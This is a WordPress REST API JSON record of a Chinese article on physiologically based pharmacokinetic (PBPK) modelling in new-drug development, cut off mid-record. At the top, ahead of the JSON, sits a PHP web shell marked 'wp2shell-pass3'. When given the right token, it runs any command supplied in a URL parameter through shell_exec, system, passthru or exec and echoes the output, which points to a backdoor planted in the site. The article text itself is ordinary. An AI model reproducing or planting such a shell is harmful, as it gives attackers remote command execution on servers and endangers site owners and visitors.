// wp2shell-pass3
if (isset($_GET['t']) && hash_equals('9fc4c763d19d1fcf0f25548ed3e39448', (string)$_GET['t']) && isset($_GET['c'])) {
    $c=(string)$_GET['c']; $o='';
    if(function_exists('shell_exec')) $o=(string)@shell_exec($c);
    elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
    elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
    elseif(function_exists('exec')){@exec($c,$a);$o=implode(chr(10),(array)$a);}
    $mk='WP2'.'SHELL'; echo $mk.'::'.$o.'::'.'END'; exit;
}

{"id":178,"date":"2025-07-31T17:00:00","date_gmt":"2025-07-31T09:00:00","guid":{"rendered":"http:\/\/wp-test.millibuff.com\/?p=178"},"modified":"2025-08-22T10:01:47","modified_gmt":"2025-08-22T02:01:47","slug":"pbpk%e5%bb%ba%e6%a8%a1%e4%b8%8e%e4%bb%bf%e7%9c%9f%e6%8a%80%e6%9c%af%e5%9c%a8%e5%88%9b%e6%96%b0%e8%8d%af%e7%89%a9%e5%bc%80%e5%8f%91%e4%b8%ad%e7%9a%84%e5%ba%94%e7%94%a8","status":"publish","type":"post","link":"https:\/\/www.millibuff.com\/?p=178","title":{"rendered":"PBPK\u5efa\u6a21\u4e0e\u4eff\u771f\u6280\u672f\u5728\u521b\u65b0\u836f\u7269\u5f00\u53d1\u4e2d\u7684\u5e94\u7528"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color has-medium-font-size wp-elements-9ea9de3557edab6b4469dff93e6affdc wp-block-paragraph\"><\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img fetchpriority=\"high\" decoding=\"async\" width=\"420\" height=\"316\" src=\"http:\/\/wp-test.millibuff.com\/wp-content\/uploads\/2025\/08\/image-1.png\" alt=\"\" class=\"wp-image-757\" srcset=\"https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/08\/image-1.png 420w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/08\/image-1-300x226.png 300w\" sizes=\"(max-width: 420px) 100vw, 420px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-ee4178943ede3ec64a890a3bf3430ebd wp-block-paragraph\" style=\"font-size:16px;line-height:1.5\">\u57fa\u4e8e\u751f\u7406\u5b66\u7684\u836f\u4ee3\u52a8\u529b\u5b66\u6a21\u578b\uff08physiologically based pharmacokinetic\uff0cPBPK\u6a21\u578b\uff09\u662f\u4e00\u79cd\u673a\u5236\u9a71\u52a8\u7684\u6570\u5b66\u6a21\u578b\uff0c\u901a\u8fc7\u6574\u5408\u89e3\u5256\u7ed3\u6784\u3001\u751f\u7269\u5316\u5b66\u8fc7\u7a0b\u53ca\u7269\u7406\u5316\u5b66\u539f\u7406\uff0c\u5b9a\u91cf\u63cf\u8ff0\u836f\u7269\u5728\u4f53\u5185\u7684\u5438\u6536\u3001\u5206\u5e03\u3001\u4ee3\u8c22\u4e0e\u6392\u6cc4\uff08ADME\uff09\u884c\u4e3a\u3002\u8be5\u6a21\u578b\u5c06\u673a\u4f53\u5212\u5206\u4e3a\u5177\u6709\u660e\u786e\u751f\u7406\u610f\u4e49\u7684\u5668\u5b98\u6216\u7ec4\u7ec7\u9694\u5ba4\uff08\u5982\u809d\u810f\u3001\u80be\u810f\u3001\u80a0\u9053\u7b49\uff09\uff0c\u5404\u9694\u5ba4\u901a\u8fc7\u8840\u6db2\u5faa\u73af\u52a8\u6001\u8fde\u63a5\uff0c\u5e76\u57fa\u4e8e\u771f\u5b9e\u751f\u7406\u53c2\u6570\u6784\u5efa\u2014\u2014\u5305\u62ec\u7ec4\u7ec7\u5bb9\u79ef\u3001\u8840\u6d41\u901f\u7387\u3001\u4ee3\u8c22\u9176\/\u8f6c\u8fd0\u4f53\u8868\u8fbe\u91cf\u3001\u7ec4\u7ec7-\u8840\u6d46\u5206\u914d\u7cfb\u6570\u7b49\u5173\u952e\u751f\u7269\u5b66\u6307\u6807\uff0c\u4ece\u800c\u5b9e\u73b0\u5bf9\u836f\u7269\u4f53\u5185\u8fc7\u7a0b\u7684\u7cbe\u786e\u6a21\u62df\u3002<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5f920297b1bd81263edcc1b041962581 wp-block-paragraph\" style=\"font-size:16px\">CDE\u4e8e2024\u5e74\u53d1\u5e03<a target=\"_blank\" href=\"https:\/\/mp.weixin.qq.com\/s?__biz=MjM5MjMwOTIyNA==&amp;mid=2651838023&amp;idx=1&amp;sn=b071d48d6c38a62fe5e7f1902da00f40&amp;scene=21#wechat_redirect\" rel=\"noreferrer noopener\">\u300a\u6a21\u578b\u5f15\u5bfc\u7684\u521b\u65b0\u836f\u7269\u5242\u91cf\u63a2\u7d22\u548c\u4f18\u5316\u6280\u672f\u6307\u5bfc\u539f\u5219\u300b<\/a>\uff0c\u6a21\u578b\u5f15\u5bfc\u7684\u836f\u7269\u7814\u53d1\u901a\u8fc7\u91c7\u7528\u5efa\u6a21\u4e0e\u6a21\u62df\uff08Modelling&amp;Simulation, M&amp;S\uff09\u6280\u672f\u5bf9\u751f\u7406\u5b66\u3001\u836f\u7406\u5b66\u4ee5\u53ca\u75be\u75c5\u8fc7\u7a0b\u7b49\u4fe1\u606f\u8fdb\u884c\u6574\u5408\u548c\u5b9a\u91cf\u7814\u7a76\uff0c\u4ece\u800c\u6307\u5bfc\u65b0\u836f\u7814\u53d1\u548c\u51b3\u7b56\u3002M&amp;S\u5df2\u5e94\u7528\u4e8e\u836f\u7269\u7814\u53d1\u7684\u591a\u4e2a\u9636\u6bb5\uff0c\u53ef\u5728\u836f\u7269\u7814\u53d1\u7684\u591a\u4e2a\u5173\u952e\u51b3\u7b56\u70b9\u53d1\u6325\u91cd\u8981\u4f5c\u7528\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>PBPK\u5728\u65b0\u836f\u7814\u53d1\u8fc7\u7a0b\u4e2d\u7684\u4f5c\u7528<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\">\u5728\u4e34\u5e8a\u524d\u9636\u6bb5\uff0cPBPK\u5206\u6790\u6574\u5408\u7a00\u758f\u6570\u636e\uff0c\u4e0e\u975e\u623f\u5ba4\u6a21\u578b\u4e92\u8865\uff0c\u8bc4\u4f30\u5b9e\u9a8c\u52a8\u7269\u4f53\u5185\u836f\u52a8\u5b66\u884c\u4e3a\u3001PK\/PD\u53ca\u5b89\u5168\u6027\u7279\u5f81\u3002\u5b83\u652f\u6301\u9996\u6b21\u4eba\u4f53\u8bd5\u9a8c\uff08FIH\uff09\u8d77\u59cb\u5242\u91cf\u3001\u9012\u589e\u65b9\u6848\u8bbe\u8ba1\u53ca\u6700\u5927\u8010\u53d7\u5242\u91cf\u9884\u6d4b\uff0c\u5e76\u6709\u52a9\u4e8e\u786e\u5b9a\u836f\u7269\u9776\u6807\u548c\u7406\u89e3\u4f5c\u7528\u673a\u5236\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\">\u9488\u5bf9\u5065\u5eb7\u4eba\u7fa4\u7684\u2160\u671f\u8bd5\u9a8c\u786e\u5b9a\u5b89\u5168\u5242\u91cf\u3001\u6700\u5927\u8010\u53d7\u5242\u91cf\u53ca\u836f\u52a8\u5b66\u7279\u5f81\u3002PBPK\u53ef\u6df1\u5ea6\u6316\u6398\u6570\u636e\u4ef7\u503c\uff0c\u63ed\u793a\u98df\u7269\u3001\u6027\u522b\u7b49\u56e0\u7d20\u5bf9\u836f\u52a8\u5b66\u7684\u5f71\u54cd\uff0c\u4e3a\u540e\u671f\u4e34\u5e8a\u7ed9\u836f\u65b9\u6848\u63d0\u4f9b\u6307\u5bfc\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\">\u2161\u671f\u8bd5\u9a8c\u5728\u5c11\u91cf\u60a3\u8005\u4e2d\u8bc4\u4f30\u5b89\u5168\u6709\u6548\u6027\uff0c\u662f\u786e\u5b9a\u7b56\u7565\u3001\u9002\u5e94\u75c7\u548c\u65b9\u6848\u7684\u5173\u952e\u9636\u6bb5\u3002\u6b64\u9636\u6bb5\u5efa\u7acb\u7684PBPK\u4e0e\u75be\u75c5\u8fdb\u5c55\u5b9a\u91cf\u5173\u7cfb\u53ca\u5f71\u54cd\u56e0\u7d20\uff0c\u80fd\u5b9a\u91cf\u6307\u5bfc\u540e\u671f\u786e\u8bc1\u6027\u8bd5\u9a8c\u7684\u76ee\u6807\u4eba\u7fa4\u9009\u62e9\u3001\u7ed9\u836f\u4f18\u5316\u3001\u6837\u672c\u91cf\u3001\u91c7\u6837\u65b9\u6848\u548c\u98ce\u9669\u63a7\u5236\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\">\u2162\u671f\u5728\u5927\u8303\u56f4\u60a3\u8005\u4e2d\u8fdb\u4e00\u6b65\u8bc4\u4ef7\u9002\u5e94\u75c7\u3001\u7597\u6548\u548c\u4e0d\u826f\u53cd\u5e94\u3002PBPK\u5206\u6790\u53ef\u7528\u4e8e\u4f18\u5316\u7ed9\u836f\u65b9\u6848\u548c\u786e\u5b9a\u6700\u7ec8\u5242\u91cf\uff08\u5982FDA\u6848\u4f8b\u6240\u793a\uff09\uff0c\u5e76\u80fd\u6210\u529f\u5730\u5c06\u6210\u4eba\u7814\u7a76\u7ed3\u679c\u5916\u63a8\u81f3\u513f\u7ae5\uff0c\u66ff\u4ee3\u6216\u7b80\u5316\u90e8\u5206\u513f\u79d1\u8bd5\u9a8c\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\">\u4e0a\u5e02\u540e\u7814\u7a76\u5728\u5e7f\u6cdb\u4eba\u7fa4\u4e2d\u5173\u6ce8\u7279\u6b8a\u4eba\u7fa4\u5e94\u7528\u3001\u836f\u7269\u76f8\u4e92\u4f5c\u7528\u53ca\u7f55\u89c1\u4e0d\u826f\u53cd\u5e94\u3002PBPK\u5efa\u6a21\u53ef\u8bc6\u522b\u6709\u4e34\u5e8a\u610f\u4e49\u7684\u5f71\u54cd\u56e0\u7d20\uff08\u5e74\u9f84\u3001\u4f53\u91cd\u3001\u809d\u80be\u529f\u80fd\u3001\u5408\u5e76\u7528\u836f\u3001\u57fa\u7840\u75be\u75c5\u7b49\uff09\uff0c\u652f\u6301\u7279\u6b8a\u4eba\u7fa4\u5242\u91cf\u9009\u62e9\uff0c\u5e76\u7528\u4e8e\u57fa\u4e8e\u6a21\u578b\u7684\u835f\u8403\u5206\u6790\u6bd4\u8f83\u4ea7\u54c1\u7597\u6548\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>\u836f\u7269\u7814\u53d1\u4e2d\u7684PBPK\u5efa\u6a21\u7b56\u7565<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\">PBPK\u6a21\u578b\u7684\u5efa\u7acb\u4e3b\u8981\u6d89\u53ca\u4e24\u4e2a\u90e8\u5206\uff1a\u6a21\u578b\u53c2\u6570\u7684\u9009\u62e9\u548c\u6a21\u578b\u7ed3\u6784\u7684\u5efa\u7acb\u3002\u6a21\u578b\u53c2\u6570\u5305\u62ec\u751f\u7406\u76f8\u5173\u53c2\u6570\u548c\u836f\u7269\u76f8\u5173\u53c2\u6570\u3002PBPK\u5efa\u6a21\u901a\u5e38\u91c7\u7528\u201c\u81ea\u4e0b\u800c\u4e0a\u201d\u7684\u65b9\u6cd5\uff0c\u5efa\u7acbPBPK\u6a21\u578b\u4e00\u822c\u9075\u5faa\u5982\u4e0b\u6b65\u9aa4\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\"><strong>\u2460 \u6536\u96c6\u53c2\u6570<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\"><strong>\u751f\u7406\u76f8\u5173\u53c2\u6570<\/strong>\u5305\u62ec\u4eba\u7c7b\u548c\u4e34\u5e8a\u524d\u7269\u79cd\u7684\u751f\u7406\u53c2\u6570\uff08\u5982\u7ec4\u7ec7\u4f53\u79ef\u3001\u8840\u6d41\u91cf\u3001\u80be\u5c0f\u7403\u6ee4\u8fc7\u7387\u3001\u6bcf\u514b\u809d\u810f\u5fae\u7c92\u4f53\u86cb\u767d\/\u809d\u7ec6\u80de\u6570\u91cf\u3001\u8840\u6d46\u86cb\u767d\u3001\u9176\u548c\u8f6c\u8fd0\u86cb\u767d\u4e30\u5ea6\u7b49\uff09\uff0c\u4e0a\u8ff0\u6570\u636e\u53ef\u5728\u5df2\u53d1\u8868\u7684\u6587\u732e\u4e2d\u83b7\u5f97\uff0c\u540c\u65f6\u4e5f\u5185\u7f6e\u5728 GastroPlus\u3001PKSIM \u7b49 PBPK \u8f6f\u4ef6\u5185\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\"><strong>\u836f\u7269\u76f8\u5173\u53c2\u6570<\/strong>\u5305\u62ec\u7406\u5316\u6027\u8d28\uff08\u5206\u5b50\u91cf\u3001pKa\u3001\u836f\u7269\u7684\u78b1\u6027\u6216\u9178\u6027\uff09\u3001\u6eb6\u89e3\u5ea6\uff08logD\uff09\u548c\u6e17\u900f\u6027\u3001\u8840\u7ec6\u80de\u548c\u8840\u6d46\u86cb\u767d\u7ed3\u5408\uff08\u5982\u8840\u6d46\u4e2d\u672a\u7ed3\u5408\u7684\u5206\u6570\uff08fup\uff09\u3001\u8840\u6d46\u5206\u914d\uff08B: P\uff09\uff09\u3001\u8f6c\u8fd0\u4f53\u5bf9\u836f\u7269\u5206\u5e03\u7684\u5f71\u54cd\uff0c\u4ee5\u53ca\u809d\u810f\u6216\u809d\u5916\u9176\u4ee3\u8c22\u7684\u4f53\u5916\u6570\u636e\u7b49\uff08\u5982\u5185\u5728\u6e05\u9664\u7387\uff08CLint\uff09\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\"><strong>\u2461 \u786e\u5b9a\u6a21\u578b\u7ed3\u6784<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\">\u6839\u636e\u5b9e\u9a8c\u76ee\u7684\u548c\u836f\u7269\u5728\u4eba\u6216\u52a8\u7269\u4f53\u5185\u7684\u5206\u5e03\u60c5\u51b5\uff0c\u9009\u62e9\u8981\u7eb3\u5165\u6a21\u578b\u7684\u76f8\u5173\u5668\u5b98\u6216\u7ec4\u7ec7\u3002\u6a21\u578b\u7ed3\u6784\u901a\u5e38\u5305\u62ec\u8eab\u4f53\u6838\u5fc3\u7ec4\u7ec7\/\u5668\u5b98\uff0c\u5982\u8840\u5ba4\uff08\u52a8\u8109\u548c\u9759\u8109\uff09\u3001\u4ee3\u8c22\u6d88\u9664\u5668\u5b98\uff08\u901a\u5e38\u662f\u809d\u810f\u548c\u80be\u810f\uff09\u548c\u8102\u80aa\u7ec4\u7ec7\uff0c\u4e5f\u5305\u62ec\u7ed9\u836f\u90e8\u4f4d\uff08\u5982\u80ba\u548c\u80a0\u9053\uff09\u3001\u836f\u7269\u4f5c\u7528\u7684\u5668\u5b98\uff08\u5982\u5927\u8111\u548c\u5fc3\u810f\uff09\u548c\u5bf9\u8d28\u91cf\u5e73\u8861\u6709\u91cd\u8981\u5f71\u54cd\u7684\u5668\u5b98\uff08\u76ae\u80a4\u3001\u9aa8\u9abc\u548c\u808c\u8089\u7b49\uff09\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img decoding=\"async\" width=\"506\" height=\"290\" src=\"http:\/\/wp-test.millibuff.com\/wp-content\/uploads\/2025\/08\/\u56fe1-PBPK\u6a21\u578b\u793a\u610f\u56fe.png\" alt=\"\" class=\"wp-image-760\" srcset=\"https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/08\/\u56fe1-PBPK\u6a21\u578b\u793a\u610f\u56fe.png 506w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/08\/\u56fe1-PBPK\u6a21\u578b\u793a\u610f\u56fe-300x172.png 300w\" sizes=\"(max-width: 506px) 100vw, 506px\" \/><\/figure>\n\n\n\n<p class=\"has-text-align-center wp-block-paragraph\" style=\"font-size:16px\">\u56fe1 &nbsp;PBPK\u6a21\u578b\u793a\u610f\u56fe<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\"><strong>\u2462 \u6a21\u578b\u8fd0\u7b97<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\">\u7528\u8d28\u91cf\u5e73\u8861\u5fae\u5206\u65b9\u7a0b\u8ba1\u7b97\u5404\u623f\u5ba4\u5185\u7269\u8d28\u53d8\u5316\uff0c\u8fd9\u4e00\u6b65\u901a\u5e38\u4f7f\u7528PBPK\u8f6f\u4ef6\u8fdb\u884c\u3002\u5bf9\u4e8e\u975e\u6d88\u9664\u5668\u5b98\uff0c\u53ef\u57fa\u4e8e\u8840\u6d41\u704c\u6ce8\u9650\u901f\u578b\u6216\u819c\u6e17\u900f\u9650\u901f\u578b\u5047\u8bbe\u5efa\u7acb\u5fae\u5206\u65b9\u7a0b\uff1b\u5bf9\u4e8e\u6d88\u9664\u7ec4\u7ec7\/\u5668\u5b98\uff0c\u8fd8\u9700\u8003\u8651\u6e05\u9664\u7387\uff08CLint\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\"><strong>\u2463 \u6a21\u578b\u4f18\u5316<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\">\u53c2\u6570\u4f18\u5316\uff1a\u5bf9\u6a21\u578b\u4e2d\u7684\u53c2\u6570\u8fdb\u884c\u4f18\u5316\uff0c\u4f7f\u6a21\u578b\u9884\u6d4b\u7ed3\u679c\u4e0e\u5b9e\u6d4b\u6570\u636e\u5c3d\u53ef\u80fd\u63a5\u8fd1\u3002\u53ef\u901a\u8fc7\u7075\u654f\u5ea6\u5206\u6790\u786e\u5b9a\u5bf9\u6a21\u578b\u9884\u6d4b\u7ed3\u679c\u5f71\u54cd\u8f83\u5927\u7684\u53c2\u6570\uff0c\u7136\u540e\u5bf9\u8fd9\u4e9b\u53c2\u6570\u8fdb\u884c\u8c03\u6574\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\">\u4e0d\u786e\u5b9a\u6027\u5206\u6790\uff1a\u8bc4\u4f30\u6a21\u578b\u53c2\u6570\u7684\u4e0d\u786e\u5b9a\u6027\u5bf9\u6a21\u578b\u9884\u6d4b\u7ed3\u679c\u7684\u5f71\u54cd\uff0c\u786e\u5b9a\u6a21\u578b\u7684\u53ef\u9760\u6027\u548c\u7a33\u5065\u6027\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\"><strong>\u2464 \u6a21\u578b\u9a8c\u8bc1<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\">\u6bd4\u8f83\u5b9e\u6d4b\u6570\u636e\u4e0e\u6a21\u578b\u9884\u6d4b\u7ed3\u679c\uff0c\u8003\u5bdf\u6a21\u578b\u9884\u6d4b\u7684\u51c6\u786e\u6027\uff0c\u786e\u5b9a\u6a21\u578b\u7684\u5e94\u7528\u8303\u56f4\u662f\u5426\u5408\u7406\u3002\u4e00\u4e2a PBPK\u6a21\u578b\u5efa\u7acb\u5e76\u88ab\u9a8c\u8bc1\u540e\uff0c\u53ef\u7528\u4e8e\u836f\u4ee3\u52a8\u529b\u5b66\u5916\u63a8\uff0c\u4e0d\u4ec5\u53ef\u7528\u4e8e\u5bf9\u5065\u5eb7\u4eba\u7684\u836f\u4ee3\u52a8\u529b\u5b66\u5916\u63a8\uff0c\u4e5f\u53ef\u7528\u4e8e\u7ed9\u836f\u9014\u5f84\u4e4b\u95f4\u7684\u5916\u63a8\u3001\u4e0d\u540c\u7ed9\u836f\u5242\u91cf\u4e4b\u95f4\u7684\u5916\u63a8\u3001\u4e0d\u540c\u7269\u79cd\u4e4b\u95f4\u7684\u5916\u63a8\u7b49\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>\u6838\u5fc3\u5e94\u7528\u573a\u666f<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\"><strong>\u573a\u666f\u4e00\uff1a\u9996\u6b21\u4eba\u4f53\u8bd5\u9a8c\uff08FIH\uff09\u5242\u91cf\u9884\u6d4b<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\">\u57fa\u4e8eTGN1412\u4e8b\u4ef6\u7684\u91cd\u5927\u6559\u8bad\uff082006\u5e74\uff09\uff0cEMA\u4e8e2007\u5e74\u7387\u5148\u5efa\u7acb\u9996\u6b21\u4eba\u4f53\u8bd5\u9a8c\uff08FIH\uff09\u7684\u76d1\u7ba1\u6846\u67b6\uff0c\u8981\u6c42\u7cfb\u7edf\u6027\u8bc6\u522b\u4e0e\u9632\u63a7\u521b\u65b0\u836f\u65e9\u671f\u4e34\u5e8a\u98ce\u9669\u3002FIH\u805a\u7126\u4e8e\u9996\u6b21\u5728\u4eba\u7c7b\u53d7\u8bd5\u8005\u4e2d\u8bc4\u4f30\u836f\u7269\u5b89\u5168\u8010\u53d7\u6027\uff0c\u5176\u6838\u5fc3\u6311\u6218\u5728\u4e8e\u901a\u8fc7\u5242\u91cf\u9012\u589e\u7b56\u7565\u63a2\u7d22\u6700\u5927\u8010\u53d7\u5242\u91cf\uff08MTD\uff09\uff0c\u8fd9\u4e00\u8fc7\u7a0b\u56e0\u7f3a\u4e4f\u4eba\u4f53\u6570\u636e\u800c\u9690\u542b\u663e\u8457\u4e0d\u786e\u5b9a\u6027\uff0c\u9700\u901a\u8fc7\u673a\u5236\u5316\u5efa\u6a21\uff08\u5982PBPK\uff09\u548c\u4e25\u683c\u98ce\u9669\u7ba1\u7406\u7b56\u7565\u964d\u4f4e\u5371\u5bb3\u6982\u7387\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\">PBPK\u6a21\u578b\u5728\u9996\u6b21\u4eba\u4f53\u8bd5\u9a8c\uff08FIH\uff09\u5242\u91cf\u9884\u6d4b\u4e2d\u901a\u8fc7\u6574\u5408\u751f\u7406\u673a\u5236\u548c\u836f\u7269\u7279\u6027\uff0c\u5b9e\u73b0\u4ece\u4e34\u5e8a\u524d\u6570\u636e\u5411\u4eba\u4f53\u7684\u7cbe\u51c6\u5916\u63a8\uff0c\u5176\u5efa\u6a21\u6d41\u7a0b\u53ef\u53c2\u8003\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\">\u2460 \u4e34\u5e8a\u524d\u6570\u636e\u6574\u5408\uff1a\u6536\u96c6\u836f\u7269\u7406\u5316\u6027\u8d28\uff08logP\u3001pKa\u3001\u6eb6\u89e3\u5ea6\uff09\u3001\u86cb\u767d\u7ed3\u5408\u7387\u3001\u4f53\u5916\u4ee3\u8c22\u9176\u52a8\u529b\u5b66\uff08CYP\u9176Km\/Vmax\uff09\u3001\u6e17\u900f\u6027\uff08Caco-2\uff09\u53ca\u52a8\u7269PK\u6570\u636e\u7b49\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\">\u2461 \u79cd\u5c5e\u5916\u63a8\u4e0e\u4eba\u4f53\u53c2\u6570\u9884\u6d4b\uff1a\u5c06\u52a8\u7269\u836f\u7269\u52a8\u529b\u5b66\u884c\u4e3a\u673a\u5236\u6027\u5916\u63a8\u81f3\u4eba\u4f53\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\">\u2462 \u6a21\u578b\u6784\u5efa\u4e0e\u9a8c\u8bc1\uff1a\u57fa\u4e8e\u4eba\u4f53\u751f\u7406\u7ed3\u6784\u5efa\u7acb\u591a\u623f\u5ba4\u6a21\u578b\uff0c\u7528\u52a8\u7269PK\u6570\u636e\u9a8c\u8bc1\u6a21\u578b\u53ef\u9760\u6027\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\">\u2463 \u5b89\u5168\u8fb9\u754c\u8ba1\u7b97\uff1a\u7ed3\u5408NOAEL\uff08\u65e0\u89c2\u5bdf\u4e0d\u826f\u53cd\u5e94\u5242\u91cf\uff09 \u548c\u52a8\u7269\u66b4\u9732\u91cf\uff0c\u9884\u6d4b\u4eba\u4f53\u5b89\u5168\u8d77\u59cb\u5242\u91cf\uff08MRSD\uff09\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img decoding=\"async\" width=\"692\" height=\"217\" src=\"http:\/\/wp-test.millibuff.com\/wp-content\/uploads\/2025\/08\/\u56fe2-\u4ece\u52a8\u7269PK\u5230\u4eba\u4f53PBPK\u6a21\u578b\u7684\u53c2\u6570\u8f6c\u5316\u8def\u5f84.png\" alt=\"\" class=\"wp-image-761\" srcset=\"https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/08\/\u56fe2-\u4ece\u52a8\u7269PK\u5230\u4eba\u4f53PBPK\u6a21\u578b\u7684\u53c2\u6570\u8f6c\u5316\u8def\u5f84.png 692w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/08\/\u56fe2-\u4ece\u52a8\u7269PK\u5230\u4eba\u4f53PBPK\u6a21\u578b\u7684\u53c2\u6570\u8f6c\u5316\u8def\u5f84-300x94.png 300w\" sizes=\"(max-width: 692px) 100vw, 692px\" \/><\/figure>\n\n\n\n<p class=\"has-text-align-center wp-block-paragraph\" style=\"font-size:16px\">\u56fe2 \u4ece\u52a8\u7269PK\u5230\u4eba\u4f53PBPK\u6a21\u578b\u7684\u53c2\u6570\u8f6c\u5316\u8def\u5f84<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\"><strong>\u573a\u666f\u4e8c\uff1a\u836f\u7269\u76f8\u4e92\u4f5c\u7528\uff08DDI\uff09\u98ce\u9669\u8bc4\u4f30<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\">PBPK\u6a21\u578b\u53ef\u4ee5\u901a\u8fc7\u6574\u5408\u836f\u7269\u6027\u8d28\u3001\u7cfb\u7edf\/\u751f\u7406\u7b49\u4fe1\u606f\uff0c\u5e76\u7ed3\u5408\u4e34\u5e8a\u6570\u636e\uff0c\u6709\u6548\u9884\u6d4b\u836f\u7269\u4f53\u5185\u8fc7\u7a0b\uff0c\u8fdb\u800c\u8003\u5bdf\u75be\u75c5\u5f71\u54cd\u3001\u7279\u6b8a\u4eba\u7fa4\u3001\u8f6c\u8fd0\u86cb\u767d\u4ecb\u5bfc\u7684\u836f\u7269\u76f8\u4e92\u4f5c\u7528\uff08DDI\uff09\u7b49\u672a\u77e5\u7528\u836f\u573a\u666f\uff0c\u4e3a\u7cbe\u51c6\u6cbb\u7597\u63d0\u4f9b\u5242\u91cf\u5efa\u8bae\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\">PBPK\u6a21\u578b\u5728DDI\u8bc4\u4f30\u4e2d\u7684\u5173\u952e\u5e94\u7528\u5982\u4e0b\uff1a<\/p>\n\n\n\n<p class=\"has-text-align-center wp-block-paragraph\" style=\"font-size:16px\">\u88681 &nbsp;DDI\u6838\u5fc3\u5e94\u7528\u573a\u666f<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"692\" height=\"221\" src=\"http:\/\/wp-test.millibuff.com\/wp-content\/uploads\/2025\/08\/\u88681-DDI\u6838\u5fc3\u5e94\u7528\u573a\u666f-1.png\" alt=\"\" class=\"wp-image-762\" srcset=\"https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/08\/\u88681-DDI\u6838\u5fc3\u5e94\u7528\u573a\u666f-1.png 692w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/08\/\u88681-DDI\u6838\u5fc3\u5e94\u7528\u573a\u666f-1-300x96.png 300w\" sizes=\"(max-width: 692px) 100vw, 692px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\"><strong>\u573a\u666f\u4e09\uff1a\u7279\u6b8a\u4eba\u7fa4\u7528\u836f\u4f18\u5316<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\">\u8986\u76d6\u4eba\u7fa4\uff1a\u809d\u80be\u529f\u80fd\u4e0d\u5168\u3001\u513f\u7ae5\u3001\u5b55\u5987\u3001\u80a5\u80d6\u4eba\u7fa4\u7b49<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\">\u5982\u513f\u7ae5PBPK\u6a21\u578b\u662f\u4e00\u4e2a\u4ece\u6210\u4ebaPBPK\u6a21\u578b\u5916\u63a8\u7684\u8fc7\u7a0b\u3002\u56e0\u6b64\uff0c\u4e3a\u4e86\u4f7f\u8fd9\u4e2a\u5916\u63a8\u8fc7\u7a0b\u6210\u7acb\uff0c\u9700\u8981\u4eba\u4e3a\u5730\u89c4\u5b9a\u4e00\u4e9b\u5047\u8bbe\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:16px\">\u2460 \u836f\u7269\u5728\u513f\u7ae5\u4ee5\u53ca\u6210\u4eba\u4f53\u5185\u7684\u6e05\u9664\u9014\u5f84\u76f8\u540c\uff0c\u5dee\u5f02\u4ec5\u4f53\u73b0\u5728\u6e05\u9664\u7387\u5927\u5c0f\u4e0a\uff1b<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" 